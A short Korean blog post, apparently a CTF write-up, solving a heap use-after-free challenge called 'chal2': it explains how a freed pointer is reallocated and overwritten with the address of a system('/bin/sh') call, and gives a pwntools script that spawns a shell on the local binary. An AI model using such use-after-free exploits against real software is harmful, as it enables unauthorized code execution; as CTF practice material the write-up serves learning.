본문 바로가기
시스템 해킹/cykor

chal2-heap uaf

by sonysame 2018. 2. 18.

heap uaf- chal2




구조가 딱 보아하니

malloc->free->malloc

UAF 구만!


풀어보니,, 너무 간단!

ptr=v0이고, free(ptr)을 하기는 하지만, 다시 v2=malloc(0x14)가 이루어질 때,

ptr=v0=v2가 된다.

그래서 v2에 scanf를 받을 때! 0x4007d8을 줘서, 마지막에 ptr이 실행될때, scanf받은애가 실행되게 된다!


이때 0x4007d8부분에 system("/bin/sh")부분이 있다!


from pwn import *

sh=0x4007d8

s=process('./chal2')

#raw_input()

print s.recv(1024)

s.send("4196312\n")

s.send("\x00\x00")

print s.recv(1024)

s.interactive()

s.close()